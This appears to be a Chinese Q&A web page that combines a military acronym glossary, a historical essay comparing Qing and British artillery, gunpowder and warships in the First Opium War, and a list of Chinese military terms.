TLAM:Tomahawk Land Attack Missile = 戰斧對地攻擊導彈
TMA:Target Motion Analysis = 目標運動分析
TOW:Tube-launched Optic-tracked Wire-guided = 光學有線制導管內發射反坦克導彈(陶式導彈)
TVC:Thrust Vector Converter = 矢量推力
UAV:Unmanned Air Vehicle = 無人駕駛飛行器
UCAV:Unmanned Combat Air Vehicle = 無人駕駛戰斗機
UFCP:Up Front Control Panel =(戰機座艙)前部控制屏
UUV:Unmanned Underwater Vehicle = 無人水下航行器
VL:Verticle Landing = 垂直起降
VLS:Vertical Launch System = 垂直發射系統
VTOL:Vertical Take Off and Landing = 垂直起降
WECDIS:Warship Electronic Chart Display and Information Systems = 海圖顯示和信息系統
WRM:War Reserve Materials = 戰爭物資儲備
W/S:Weapon System = 武器系統
WYPT:Waypoint = 路徑點
『叄』 第一次鴉片戰爭時期敵我雙方武器彈葯技術水平、裝備數量、操作技術對比
我給你出個主意吧!你看看電影《林則徐》,裡面說的還比較詳細點。比如招募漁民做兵勇了,比如鑄造重型大炮,再比如設置各種障礙等。
電影比較老,質量不是怎麼好,優酷上也有。
希望你能認真看完,應該有收獲的。
一、中英雙方火炮的設計思想及種類方面
鴉片戰爭前後,清軍火炮大多是以重量作為衡量其性能優劣的依據,這遠遠沒有以炮身與口徑比例搭配為主要性能參數科學合理。當然,「模數」的設計思想,部分火器制.造者也將之視為標准來對待。即以口徑的尺寸為基數,按一定比例倍數設計火炮的各個部分。此時,除中央統一制.造以紅夷炮型為主導的前裝滑膛、以火繩點火的火炮外,沿海各省制.造了大批火炮。如廣東省自軍興以來,鑄炮1000餘位,其中尤以佛山制.造的生鐵炮最具代表性。全國總計,數量不下5500餘位。炮重有數百斤至3萬余斤的,炮管有長至4.44米的。這些火炮,雖名號眾多, 大多依紅夷炮製式,設計和制.造技術未有改進,不僅與同時期英國先進火炮不能相比,而且有些技術較明末清初亦有萎縮。不過,清軍方面購買和仿製了大批夷炮。史載:「林則徐至去歲至粵……購西洋各國夷炮200餘位。」
現據《鴉片戰爭檔案史料》所記,戰爭之際,清軍火炮的大致分類,按照主導的類型分為:紅夷炮、子母炮、抬炮三類;按照制.造的國度和時間順序分為:舊式火炮、新鑄的火炮、購買的葡萄牙式或英國式加農炮、仿製的英國夷炮四類;按照長度和重量可分為:長管滑膛重炮和身管較短的輕型滑膛炮。前者就是明末清初的紅夷炮原型。後者包括神威將軍、神功將軍、劈山炮、子母炮、奇炮、竹炮、九節炮等,這種炮品種最多,其中除子母炮和奇炮是後膛裝填彈葯的佛郎機炮型外,其餘屬於紅夷炮的發展型。
二、中英雙方火炮的材質方面
火炮所用鋼鐵或銅的質量,主要表現在對冶煉材料的選擇和冶煉方法的研究方面。中國從唐代到明代,是古代鋼鐵技術全面發展和定型的時期,以「生鐵冶煉--生鐵炒煉熟鐵--生、熟鐵合煉成鋼」為主幹的鋼鐵工業體系趨於定型。明代以來,中國火炮鑄造材料,小者多用銅,大者多用鑄鐵。明代中葉到第一次鴉片戰爭之時,中國傳統鋼鐵技術繼續緩慢發展。但是,因為沒有發生工業革M,手工生產的能力非機器生產所能相比,故其鋼鐵產量極低。
到1840年前後,年產鐵約2萬噸,僅是英國的1/40。 二是火炮大多由液態的生鐵鑄造,此必然導致火炮質地脆硬,演放時很容易炸裂,自傷炮手。
戰爭前後,清軍小范圍開始用熟鐵或黃銅鍛造火炮,江蘇候補知府黃冕對清軍火炮材質評價到:「水陸戰炮重笨,扛炮受子無多。宜改制以小受大之輕炮,方能利用也……今日欲反其弊,必須講究炮製,使能以小勝大,其輕受重,以短及遠,簡便靈動,庶出一炮抵數炮之用……因又講究小炮,可容大彈之法。不用鑄造而用打造,不用生鐵而用熟鐵,方能使炮身薄而炮膛寬。緣生鐵鑄成,每多蜂窩澀體,不能光滑,難以鏟磨,故彈子施放,不能迅利。至熟鐵則不可鑄,而但可打造。其打造之法,用鐵條燒熔百煉,逐漸旋轉成圓,每五斤熟鐵,方能煉成一斤,堅鋼光滑無比……炮愈輕,工愈精,力愈大。鐵經百煉,永無鑄造之炸裂。施用靈活,尤勝巨炮之笨重。」
歐洲從「18世紀後期,由於木材資源短缺,鍛鐵費用上漲,形成了嚴重問題。為適應需要,就採取了所謂攪煉工藝,就是用長長的鋼棒將反射爐中的金屬溶液加以攪拌。爐子用焦碳燃燒,這樣,不僅使爐面溶液,而且全爐的溶液都能接觸空氣,從而使脫碳更加徹底,成為可鍛鑄鐵。用攪煉法生產的鍛鐵,質量不如炭鐵,但價格便宜得多。1829年又前進了一步,即應用鼓風爐本身余氣進行預熱鼓風,這種發明使得在消耗同等燃料的情況下,攪煉熟鐵產量增加到3倍。還有一種改進是「濕」攪煉法,即在爐膛鋪以含有氧化鐵的小塊爐渣,它與金屬中的碳素相化合,在表層之下產生CO,形成加速脫炭進程泡沸攪動。1806年英國鐵產量為25萬噸,到1850年英國每年可產250萬噸,鑄鐵和鍛鐵的產量都有增長。
自古以來,煉鋼的方法幾乎並無根本性改變,仍然是小規模的個體作坊產品。英國所用的基本材料是優質的價格相等的瑞典條形鐵,結果鋼的費用等於鍛鐵費用的5倍。
18世紀以來,各國都大規模擴建海軍,因為鐵的成本只及銅的1╱5,所以鐵炮逐漸替代了青銅炮,成為各國戰艦的標准裝備。不過,歐洲包括英國在內的煉鋼法,直到19世紀中葉再無顯著改進,加上鋼材本身的缺陷,制.造重型軍械時使用這種鋼材繼續受到限制。因此,「直到19世紀中葉以前,除了海軍重炮外,青銅炮和黃銅炮始終以優勢壓倒了鑄鐵炮。」
三、中英雙方火炮的鑄造工藝方面
戰爭時期,清軍造炮工藝並不十分落後,且有英軍所沒有的鐵模鑄炮法和復合層結構的造炮工藝。清朝沿海及內陸的一些省份,舊式火炮、新造的火炮和仿製的夷炮,除少部分是用英軍所沒有的鐵模鑄炮法製成,大多仍是生鐵和青銅冶鑄而成。只是用液態的生鐵或青銅鑄造的火炮質量差,加工難,容易炸裂。鍛造的熟鐵炮或黃銅炮斤兩少且比例小。而英軍火炮主要由青銅炮、黃銅炮和鑄鐵炮組成,且大多數火炮可以用熟鐵或黃銅鍛造,爾後用車床刀具加工,精度提高不少。
鴉片戰爭之際,機械工程專家福建泉州人丁拱辰(1800-1875),參考西洋炮的構造,在廣州鑄成了性能良好的鐵炮。於1841年編成《演炮圖說》,1842年《演炮圖說》受到兩廣總督祁、靖逆將軍奕山的重視。同年,清朝政F下令推廣《演炮圖說》所述方法。丁此時在閱讀西洋炮學的基礎上的鑄炮之法,其實和明末以來中國原有的紅夷大炮的泥范整體模鑄法差不多:即以炮模口徑為基數,用泥先製成外模和內模,用起吊裝置將外模吊套於軸心合一的內模之外,兩模之間的空隙,便是炮管的厚度。然後用青銅或鋼鐵溶液澆注其中,冷卻後,除去內外模,最後再用各種配件加工成完整的火炮。此法鑄造的火炮缺陷有:泥模在用炭火烘烤時,經常是外干內濕,澆鑄時水分蒸成潮氣,致使所鑄火炮常有蜂窩狀孔穴,發射時容易炸裂;功效非常之低;不能對炮膛進行深入的加工,致使炮彈射出後,彈道紊亂,降低了射擊精度;大多數人並不懂得身管與口徑比例、火門位置在火葯燃燒中的實際意義,絕大多數火門開得太前、太大。在炮膛游隙方面,戰爭之時,火炮因「彈不圓正,口不直順」,常只能採用內徑的1/10至1/5為游隙,此水平連明末的水準均達不到。
鑒於此,浙江嘉興縣丞龔振麟痛感中國泥模整體鑄造法的不切實用和煩瑣,而立志改革。於1841年發明了早於歐洲30多年的鐵模鑄炮法,鐵模可多次使用,不用清洗炮膛,消除了泥模鑄炮多蜂窩易炸膛的缺陷,縮短了鑄炮周期,降低了鑄炮費用,並寫成《鑄炮鐵模圖說》,1842年被印發沿海各省參用。至1841年9月浙東之戰前夕,已鑄成120多門新型火炮,時人稱其為:「至去冬以來,浙江鑄炮,益工益巧,光滑靈動,不下西洋。」
歐洲火炮鑄造從16世紀以來一直採用泥范整體模鑄法,在給實心火炮上鑽孔的實踐據說開始於1713年,在英國伍利奇的皇家槍炮鑄造廠,泥范整體模鑄法一直延續到1770年以後。大約在此以後,英國的鐵器制.造者威爾金森(1729-1808)開發出一種改進了的給火炮鑽膛的機器。隨後,1794年英國機械師莫茲利(1771-1831)發明了車床上的移動刀架,1797年製成了安放在鐵底座上帶有移動刀架的車床。19世紀20至30年代,英國發明了全金屬車床、自動調節車床、牛頭刨床等一系列工作母機,到19世紀40年代時,達到了用工作母機制.造機械的領先水平。如在制.造火炮方面,利用車床先將火炮鑄成實心圓柱金屬鑄件,然後用一種配用超長鑽頭的大型鑽床鑽出一個孔,接著到錘床上將這個孔逐步錘削成型,加工成火炮。此法可使炮身較模鑄法更加均勻、對稱、光潔,各種尺寸比例和火門的設計較合理,射擊精確度高。既提高了鑄炮的精度,又節省工時,堅實耐用。
戰爭前後,英軍火炮鑄造除了傳統的泥模整體模鑄法、失蠟法外,已開始大規模採用車床切削鑄造法。《海國圖志》對英軍火炮工藝稱贊雲:「西人鑄炮,其鐵皆經百煉熔凈。先用蠟製成一炮,絲毫無異,次用泥封密陰干。鑄時用火烘模開孔,泄出蠟油,然後將鐵灌入,四五日後,始開模取出置於荒野人跡不到處。將炮實滿火葯,用長心引火繩一點,各人盡遠避藏跡,一經炮響騰越空中,跌落不壞以不炸裂為度,便無後患。其鑄法合度,多以引門上長方形為表,或安頭上或尾後,或頭尾皆安,亦合度數。」在炮膛游隙方面,19世紀中葉,歐洲因機械制.造精密度的提高,火炮所用的游隙值更減少到內徑的1/42,如此,只要裝填較少的火葯就可達到較高的速度,且同時提高發射的准確性,再者,由於用葯量的減少,管壁即使變薄亦不致於膛炸,連帶也使得火炮的機動性大增。
五、中英雙方火葯的質量方面
鴉片戰爭前後,中英黑色有煙火葯處於同一發展階段。但是,清軍制.造的火葯,以手工作坊或工場生產為主,無法提純硝和硫,亦無其它先進的工藝設備進行粉碎和拌和,只靠石碾等工藝,硝、硫、炭比例中含硝量過高,容易發潮,難以久貯,爆炸效力低。戰爭之際,清軍火葯(黑火葯)比例配比有了進一步的改進,基本上達到英軍的水準。福建水師提督陳階平、福建監生丁拱辰對西洋火葯製作之法頗有研究,他們配置的火葯,盡管還是手工操作的方法,但是由於對原料選煉的嚴格,硝、硫、炭的組配比率比較得當,所制火葯可以與英軍火葯相匹敵。
在火葯的配比方面,道光二十年九月十四日陳階平奏:「奴才督造加工火葯,於六月初二日竣工。初四日有英夷兵船闖入廈門。初五日,官兵即以新葯轟擊。該夷不防內地火葯如此猛利,猝遭創斃多命,立時驚竄。嗣准督臣咨知廈門新葯得力,現飭省局續撥硝兩萬斤、磺三千斤,委解前來。接手趕緊配置,連新陳火葯有兩萬余斤,仍形短絀。現在咨催督撫添購硝磺,多貯火葯,為有備無患。奴才愚昧識淺,圖報念切。伏思沿海防夷,處處加工制.造火葯,多鑄萬斤火葯,自可擊沉夷船,重用火攻,殲滅逆夷,以除後患。謹將加工造葯、續提硝斤各條進呈御覽。可否仰乞天恩,敕下各直省,一體照式制.造。俾使英夷喪膽,不敢再來窺伺。」九月十四日道光皇帝諭令:「陳階平奏加工制.造火葯,並將煮煉硝斤各條開單呈覽。福建制.造火葯,現經該提督督造加工,轟擊頗為得力。著各直省一體照單如式制.造,以資利用。」這里,陳所配置的火葯比率是牙硝8斤,磺粉1斤2兩,炭粉1斤6兩,三者的比率大致是:76(128)∶10.7 (18)∶13.3。
在火炮的裝葯量方面,清軍規定每百斤炮重配火葯四兩。《海國圖志》中雲:「凡中西大小炮位,自五百斤至五千斤止。每百斤用營制火葯四兩,而炮彈用薄棉先裹,外加紅布包縫周密……如夷炮四千斤,乃四千磅,實重三千斤,用葯七斤八兩。中有身短而口大者,則加用十分子二亦無妨。惟演放時聽聲用葯,臨演之際,預用紅布袋,每包二斤或三斤,可以寫明,用時送入炮腹逐包椿實,用引門錐,用力插看,以實為度。」
以上看出,清軍已有性能不次於英軍的火葯,除福建省外,其它一些省份也曾制.造使用。如道光二十一年五月二十三日署江蘇巡撫程矞采奏報:「火葯一項,臣在省嚴飭營員,照上年欽頒前任福建提督陳階平所奏提硝舂煉各法,加工制出一萬余斤,眼同點放。試之於手掌而掌不熱,試之於紙而紙不燃,已解至上海局,妥為受貯。」但由於清朝社會制度方面的弊端,致使清軍在許多戰爭中仍然使用質量粗劣的火葯與英軍作戰。如1841年1月7日的大角、沙角之戰,《英軍在華作戰記》中雲:中國「火葯庫是普通式的建築之一,裡面存著幾千磅粗火葯,裝在木桶或泥罐中,我們全部投之於海。因為雖然中國火葯的成分幾乎和我們的相同,卻是一種粗劣的東西。」接著英軍進犯虎門、廣州,導致「逆夷炮無虛發,我炮雖發無准,火葯半雜泥沙,轟擊不能致遠。」
19世紀初英國的火葯制.造工業,已經居於世界各國的領先地位,火葯生產如提純、粉碎、拌和、壓制、烘乾等工藝已進入近代工廠的機械化生產階段。其主要特點是:採用物理和化學方法,以先進的工業設備,提煉純度的硝和硫;以蒸汽機帶動轉鼓式裝置,進行葯料的粉碎和葯料的混合拌和;用水壓式機械,將配置的火葯放在碾磨上,壓成堅固而均勻的顆粒,使火葯具有一定的幾何形狀和密實性;使用機械式造粒缸,將火葯塊成大小均勻的火葯粒;對製成的粒狀火葯,放在烘乾室內,用蒸汽加熱器烘乾,使之保持良好待發的乾燥狀態;用石墨製成的摩光機,將葯粒的表面磨光,除去氣孔,降低吸濕性,以延長火葯的貯藏期。這些先進的工藝,保證了英軍火葯的優良品質。
在火葯的配比方面,英國化學家歇夫列里在1825年經過多次實驗後,提出了黑色火葯的最佳化學反應方程式:2KNO[,3]+3C+S→K[,2]S↓+N[,2]↑+3CO[, 2]↑。據此,在理論上,硝、硫、炭的組配比率以74.84%、11.84%、11.32%為最佳火葯配方。英國按照這一方程式,配製了硝、硫、炭的比率為75%、10%、15%的槍用發射火葯,以及組配比率為78%、8%、14%的炮用發射火葯。在火炮裝葯量方面,恩格斯的《炮兵》著作里雲:「現在,英國野戰炮兵幾乎完全由9磅炮組成,這種炮的長度為口徑的17倍,重量按炮彈重1磅、炮重11/2英擔計算,裝葯量是炮彈重量的1/3。」
六、中英雙方火炮的射程方面
火炮的射程可分最大射程和有效射程兩種。戰爭之時,中英火炮分類眾多,其彈葯裝填量、鉛子大小不同,作戰要達到的目的各異,發射時又分仰、平、倒三法,其射程自然差異懸殊。不過,此時的中英火炮一則都是17世紀以來歐洲普遍採用的重型前裝滑膛炮,炮彈出膛,飛行路線搖擺不定,不易致遠;二則當時炮身和炮彈的機械制.造技術尚無規格化,與此後所用的後裝線裝炮相比,無論從形制上還是從制.造工藝上都要簡單得多。這種基本的技術原理決定了鴉片戰爭時期中英火炮的射程,不可能有決定性的進步和提高。
以虎門大炮為例,該炮台建設的關鍵時代是1835~1839年,由關天培主持。林則徐主粵之前,虎門炮台上就架有行商購買的洋炮,林主粵期間,曾向澳門葡萄牙當局訂購了200餘門銅制或鐵制大炮。道光十五年二月二十二日關天培上折:「虎門海口……以沙角、大角兩炮台為第一重門戶,南山、鎮遠、橫檔三處炮台為第二重門戶,大虎炮台為第三重門戶,層層控制,本屬得宜,因大角、沙角兩炮台,中隔海面,一千數百丈,本在大洋之中,遙遙相望,現在山腳又漲有船塗,船隻經由離台甚遠,兩邊炮火均不能得力。惟鎮遠、橫檔兩炮台,南北斜峙,南山炮台在鎮遠以東,形如品字,錯綜布置,中隔水面止三百餘丈,形勢猶緊聯絡,當飭署參將佘清等在橫檔試放大炮,炮子正及海面中泓,實為扼要……但五千斤以下炮位,炮子及遠自一百餘丈至二百、三百丈不等,力量尚薄,必須六千斤以上大炮,方能致遠摧堅。」二十九日,關天培折:「本提都率同署參將佘清、署守備陳魁倫,親勘得大角、沙角兩炮台,系東西斜峙,丈量口寬一千一百一十三丈夫,潮水退定中泓,量深四丈二尺,兩傍水深自三丈余至二丈三尺止,全系泥底,試演三千斤大炮,炮子僅及中流,強弩之末,無濟於事,是第一重門戶,炮火已不得力。」
關天培的《籌海初集》,成書於1836年前後,是他寫給清廷的奏章文集,是他鎮守虎門各炮台的實戰經驗總結。故關在這里所說的第一層門戶中3000斤大炮556丈(註:清代1尺=今公制32厘米,556餘丈=今公制3.56華里)最大射程的方面的數據(此處很可能是夷炮),應該是非常可信的。關對第二重門戶中所說的摧遠致堅,可理解為有效射程。據此以觀,既然舊式6000斤以下炮位最大射程為300丈,那麼6000斤以上重炮的有效射程當為300丈以上,因此,認定當時重型火炮的有效射程最大在1000米以上,應該是沒有疑問的。
鑒於以上鴉片戰爭檔案史料和分析,戰爭前夕,中國購買的重型夷炮的最大射程在4華里之內,有效射程約為二三華里左右。而中國原有的舊式重型火炮的射程應小於這個數據。
清軍新鑄重炮的射程,以紅夷炮為例。戰爭前後,清軍在沿海、內陸各省鑄造了大小不等的紅夷炮型火炮,分1000~8000斤乃至萬斤以上等多種。道光二十一年五月二十二日江西巡撫錢寶琛奏:「奉兩廣總督飭令趕造土模三十具,現已遵式陸續先鑄成三千斤銅炮二十尊,一體打磨光滑,造齊炮架。會同營員將炮運至空闊處所,於相距里許豎立兩層皮靶,連日演試。每炮一位,用火葯一百二十兩加鉛子一百八十兩,響聲俱屬洪亮,其子透過皮靶仍行三里有餘,堪以摧堅致遠。」十月十九日,欽差僧格林沁等奏報:「赴海口炮台,演放炮位……當選得長兩丈余廢船一隻呈驗。奴才等隨令於海河距炮台六七里外上流安放,裝載柴草,當將炮座對准船隻,逐加演試。其過火出炮均及靈捷,遠可抵船,甚或過之。」《海國圖志》中雲:「世俗傳聞之說,謂大炮響若霹靂,聲震三百里,彈子可擊三四十里,一遭轟擊,山崩地裂,屋宇被擊,坍塌平地,此皆未經演試之談。殊不知炮響大小一樣,極大者聲震五十里,大小炮皆發里許……所以夷人交鋒,如在一里之內,不甚開炮。必在相距五六十丈及八十丈之內,彼始開炮,十可中七八也。若至一里之遠,彈子多墜,無力難准,雖可加高相補,究是無力。」「用炮遠近疑釋」條中又雲:「向聞大炮擊遠二三十里,姑之不信,意者或有十里,其彈子彎者不計,直者想有六七里可用。」
從上述幾則檔案史料看出,清軍新鑄的巨炮的最大射程可達7~8華里。
戰爭時期,英軍的重型火炮,其有效射程在3華里左右,最大射程9華里之內。看來英艦重型炮的射程不一定大於清軍海岸重型炮的射程。道光二十一年二月十九日欽差大臣裕謙奏:「英逆所恃惟船與炮……至於數千斤之大炮,夷船雖能任載,而只可施於深水外洋,不能施於近岸之內洋。蓋內洋水淺,近岸又必有明沙暗礁為之攔護,若放此數千斤之大炮,船必倒退,一經擱淺,船底著實,立刻震裂。故在內洋施放,亦止一二千斤及數百斤之炮,不過口門窄而後身寬,多受火葯,且施放靈熟,較官炮略遠一二里,然亦止及數里之內,實無遠及十餘里之事。」
七、中英雙方艦炮的品質方面
首先、清軍水師的木質艦船小、易腐蝕、航速慢、笨拙、在航率低。戰爭之時,清軍水師最大的船隻是福建橫洋棱船和廣東米艇。橫洋棱船長為8.2丈(27.3米),寬為2.6丈(8.7米);廣東米艇長9.5丈(31.7米),寬2.06丈(6.8米)。(54) 船首一般沒有保護裝置,不能撞擊;靠人力劃槳並配以少量小型風帆航行,航速慢,經不起風浪顛簸。戰船為雙桅縱帆,尚未採用轉舵裝置,繼續使用那種依靠7~8人在甲板上大幅度用力轉舵的方法。造船工藝落後,與英軍軍艦相比,戰船雖小,但相當笨拙。船體容易腐朽,需要經常修繕,九年以後已基本上不能再用。
其次,清軍戰船,由於過於簡陋,不能負載過重,一般只能配置數百斤至1000斤重的火炮,且裝備大多還是舊式槍炮和各種傳統的燃燒性火器。鴉片戰爭前,福建外海水師戰船以同安棱船為主,最大的集字型大小配備重量不超過2000斤的火炮8門,炮位均安在艙面,炮手無所遮蔽,易受火力殺傷。廣東外海水師有少量被稱為「體勢壯闊,安炮最多,儼若炮台」的紅單船,其實長僅10丈余,寬2丈左右,只載官兵80人,配備數百斤至1000斤火炮20~30門。另一種可勉強在外洋作戰的大號米艇,每船設官兵65名,配備近千斤至二三千斤火炮12門,另有火箭、噴桶、火罐等火器。但這種米艇,全省只有51艘,堪用者僅2/3。中國戰船因為質量低劣,幾百斤至1000多斤重的鐵鑄火炮,其射程只有300多米。(55) 道光二十年七月初六日閩浙總督鄧廷楨雲:「夷船以全條番木,用大銅釘合而成之,內外夾以橫板,船旁船底包以銅片,其大者可安炮三層,而船身不虞震裂,其炮洞安於艙底,夷兵在艙內施放,藏身既固,運轉跡靈。內地師船,廣東名為『米艇',船身較大,福建名為『同安梭船',以集成字型大小為極大,然皆不敵夷船十分之五,向以杉板為之,惟桅舵木堅致,船之大者配炮不過八門,重不過二千餘斤,若再加多,則船身吃重,恐其震損。且炮位安於艙面炮兵無所障蔽,易於吃虧。此向來造船部定則例如此,其病不盡在偷工減料,是所謂勢不均而力不敵者,非兵之勢不敵,而艦炮之力實不相敵也」。
英軍戰艦高大、抗腐性強、抗沉性好。道光二十二年七月二十日,參贊大臣齊慎奏:「大夷船,長三十二丈五尺,頭尾寬三丈,船身吃水一丈,出水一丈六尺,周身內外均用白鐵包裹,惟底用銅包。船身內有三層,其留一層炮眼者,一面炮眼十八個,每眼安大小炮二尊,一船共安大小炮七十二尊。」船體裝有縱帆設備的高大船樓淘汰了,軍艦降低了重心,航行更安全了。
其次,英艦機動性和航速遠在清軍水師之上。鴉片戰爭時,英國的戰列艦全部依靠風帆。各種海船、軍艦的舵柄已經用纜繩與裝在後甲板上的舵輪連接起來,改變了過去那種靠人力在整個甲板寬的地方大幅度轉舵的笨拙方法,從而提高了軍艦的機動性,節省了舵手人數。船首部縱向三角帆和桅桿之間的支索帆比僅僅採用橫帆航行起來更能吃風。橫帆因增加了翼帆,使驅動力得到加強。有兩桅或三桅,懸掛十餘面帆,能利用各種風向航行。滿帆時,一艘大型帆船可以掛起36面帆,以10節的航速破浪前進(註:10節=37.04華里)。19世紀30年代出現的蒸氣動力鐵殼明輪船,已開始裝備海軍。如「復仇神號」戰船,盡管噸位小,安炮少,在西方正式海戰中難期得力,但因航速快、機動性強、吃水淺等特點,在中國沿海和內河橫行肆虐。
再次,英軍艦隊以其強大的海軍和火炮數,橫行於中國東南沿海,決定了戰爭的時間、地點和規模。當時英國戰艦大體上標准化為6個「等級」。頭3個等級屬於3桅橫帆大戰艦:1級有3層甲板,共配備100或100門以上火炮;2極也有3層甲板,共配備約90門炮;3級也就是作戰艦隊中的載重炮,有兩層甲板,共配備64至74門炮;4級是按折中方案建造的,配備有50門炮(兩層甲板),稱為巡洋艦,有時也用在海軍作戰隊列中。參加鴉片戰爭的3艘戰列艦麥爾威厘號、威厘士厘號、伯蘭漢號炮位數都是74門。迄至1840年6月22日,英軍艦16艘,載炮540門。迄至1842年英軍進犯長江前夕和過程中,英軍的增援使海軍擁有軍艦25艘,載炮668門,輪船14艘,載炮56門。
八、中英雙方火炮的機動性、射擊精度和射速方面
戰爭之時,中國火炮的主要問題是侵徹力不夠和命中精度不高。侵徹力不夠主要是因為許多火葯不好;命中精度不高,原因則比較復雜,主要是火炮缺乏可以靈活轉動的炮架。至於雙方火炮的射擊精度,英軍已對彈道學作過初步研究,瞄準器具也已具備,使之射擊精度大大提高。清軍火炮射擊,士兵大多憑經驗。這使得雙方火炮的命中率差距甚大。至於雙方火炮的射速,它歷來因程序復雜而發射緩慢,東西方皆然。
以火炮的機動性而言,戰爭前後,清軍對炮車、炮架不甚重視,許多火炮沒有炮架,一些炮架只能調整高低夾角而不能左右活轉,限制了射擊范圍。道光二十二年十月一日,靖逆將軍奕山等奏:「查從前舊式炮架笨滯堅澀,旋轉不能如意,且系尋常雜木,木性鬆脆,一經炮發震動,榫縫開裂,既難取准,又不能再行施放。況從前所用炮位數百斤及一千斤上下者居多。」當然,清軍隨後曾對炮架也做了一些改進。如丁拱辰於1840年設計了火炮的滑車、絞架和旋轉活動炮架,它們在廣東被用於陸上炮台和兵船。1841年龔振麟在鎮海鑄炮局督造火炮時,製成磨盤形樞機式炮架和四兩炮車。
在火炮的射擊精度方面,戰爭期間,清軍一則以海岸巨炮對付海上艦炮,射擊精度很差。二則明末以來的測量火炮發射角的銃規,士兵大多不會使用。三則使用這樣的瞄準法,「舊法測視數端,有用錫片鑽三空,安在炮尾上面窺之者。有用木板二片各開兩空,前後懸葫蘆者。有或懸垂珠,分安前後,二形相切,對線演放者。此二式謂之星斗,僅可以定偏正,而不可以定高低。惟有用竹管窺者,不拘定對靶,能知變通,上中下轉移,斯可權用。」《英軍在華作戰記》對虎門炮戰中的清軍火炮的描述:「我軍發現這些炮台中的許多大炮都裝有瞄準器,瞄準器是筆直的金屬片,鑽著三個孔眼,用以射不同的距離。炮口裝葯的填塞料也完全是模仿我們的而造的。」當然,清軍在戰爭後期,也在學習明末從西洋引進的銃規儀器(此時叫象限儀),試圖提高火炮的射擊精度。
此外,火炮的射速。清軍火炮裝填程序復雜,費時多,射速慢,如果第一發不中,則第二發已因敵艦遠去而鞭長莫及。火炮每分鍾可能達到1~2發,但炮管無法承受持續射擊,隔一段時間就需休息以冷卻,故每小時平均只可能發射8發,每天通常不超過100發,且鐵炮在射擊600發,銅炮約100發後,就已不太堪用。(66) 戰爭之後的林則徐對此深有體會,他在1842年8月被譴戍伊犁行次蘭州時,回憶中英雙方火炮射速的差別:「彼之大炮,遠及10里內外,若我炮不能及彼,彼炮先以及我,是器不良也。彼之放炮,若內地之放排槍,連聲不斷,我放一炮後,須輾轉移時,再放一炮,是技不熟也。」
英軍火炮的機動性。
『肆』 軍事語言,求救!
首先,你需要哪些類型的
是軍事武器 還是 軍隊編、 軍事行動之類的?
平均彈著點
醫務官
中型火炮
中程彈道導彈
中程轟炸機
遭遇戰
彈道中段
軍事援助顧問團
地雷;水雷 掃雷; 排雷 雷區 雷場 雷場通道 探雷,獵雷 掃雷 雷戰,地雷戰,水雷戰
雷戰武器
最低限度用兵
不發火,不點火
導彈控制系統
導彈自毀
導彈制導系統
機動防禦
機動性;機動力
迫擊炮
摩托化部隊
戰備集運;座架
輸送控制;輸送控制機構
輸送指令
多彈頭再入飛行器;集束式多彈頭
軍火,彈葯
炮口制退器
炮口制退器;炮口補償器
目標地域;目標地區
達成目標所需的兵力水平
觀察直升機
能觀察的火力
- 觀目線
- 觀目距離
障礙;障礙物
佔領區
打擊敵空中力量的進攻性行動
進攻性信息戰;進攻性信息行動
攻勢雷場
戰術指揮官
艦上總值日軍官
按輔助瞄準點轟炸;間接瞄準轟炸
偏差距離
-- 超視距雷達
步速基準兵;行進速度標兵
准備執行特別任務的部隊
平行射向
准軍事部隊
軍事談判代表
敵我識別(應答)器
游擊戰
越線;越線換防
定形轟炸
載重量;戰斗部;有效負載
維護和平(行動)
突防裝置;空防技術
易消亡目標
核武器啟動連接裝置
低空照相閃光彈
保衛
精確位置
補給線;補給系統
要點防禦
港口行動大隊
港口保衛
攻擊後偵察
精確轟炸
- 精確制導彈葯
預測射擊
先發制人的進攻
- 發射前的生存能力
預先爆破(破壞)的目標
火力准備
預有計劃的空中支援
規定的核武器攜行量
預定程序制導
壓力地雷;壓力水雷
攻擊前偵察
預防性戰爭
主要控制軍官
主要目標
待發裝葯
優先等級符號
毀傷概率
概率誤差
方向概率偏差
探測
在編飛機
規劃的部隊
擴散核武器
比例接近法引導
防護
防護服
防護面罩
近炸引信
偽追蹤引導
心理戰行動
心理戰
追擊
- 電報
射角
雷達
反雷達偽裝
雷達雜亂回波
反雷達措施
雷達覆蓋范圍
雷達欺騙
雷達瞄準射擊
雷達網
雷達哨
雷達偵察
雷達靜默
無線電信標
無線電對抗措施
無線電欺騙
無線電探測
無線電定位
放射防護
無線電測距
活動半徑
毀傷半徑
襲擊
距離;航程;射程;車輛最大行程;靶場
距離校準脈沖;距離標志
別動隊
射距散布
測距
射速
行軍速度
戰備
戰備狀態
待命登機地點
後方地域
後方梯隊
後衛
重新裝彈;重新裝定引信
識別
偵察
火力偵察
武力偵察
撤回;打撈;回收;求援
求援啟動信號
救援部隊
救援行動
重新部署;調動
戰備機場
減裝葯
開通道路
再入飛行器
基準點
反射式瞄準鏡(具)
試射
試射火力
試射點
休整;恢復
加強
投放
原地換班
- 回答式干擾機
申請;徵用
救援協調中心
預備隊;後備隊;後備役;儲備
保留部隊
抵抗運動
反應部隊
應答機
限制區;禁區
限制射擊區
後退行動
返回基地
防暴行動
河網地區作戰
行軍長徑
- 撤收
路線;道路
交戰規定
炸裂區
欺騙計謀
陰謀破壞
安全區
安全炸高
安全間隔距離
保險與引信解脫裝置
保險裝置
安全距離
保險引信
安全高度
保險絲
安全地帶
保險
保險與解除保險裝置
放射性增強的核武器;加料核武器
求援與回收大隊
齊射;齊投
保密處理
衛星與導彈監視
可撤布地雷
現場指揮官
計劃抵達日期
計劃射擊
定期保養維修
計劃目標
射擊計劃表
目標表
計劃與調動
機動計劃
警戒幕;網目板;遮蔽物;警戒分隊;監視任務
警戒大隊,掩護大隊,護航大隊
-- 海空陸特種作戰小隊,海豹小隊
海基
海上部隊
制海作戰
海上梯隊
海運戰備計劃
海上搜索;偵察;縱深射擊
搜索與求援
搜索攻擊組(小隊)
縱深火力,縱深射擊
搜索干擾發射機
空中搜索任務
搜索半徑
搜索掃雷
海上撤回點
次要目標
第二次打擊
機密
軍種部部長
小隊;科,股;分排;區,段
射擊地段
佔領(作戰)
警戒;安全;保密
值班警戒分隊
安全援助
保衛對策
安全(保衛)情報
奪取,佔領
選定脫險地域
精選後備役,編組後備役
選擇識別裝置
選擇性投放武器程序
- 自衛
- 自毀引信
- 半主動尋的制導
高級氣象與海洋學軍官
隔離區
後續行動
批次,次; 行軍梯隊;序號
(兩棲)作戰任務表
作戰用彈葯;實彈
軍種組成司令部
使用環境
軍種兵力模塊
勤務大隊
實雷
勤務部隊
嚴重破壞
錐形裝葯;空心裝葯;聚能裝葯
掩體
屏蔽物;防護物
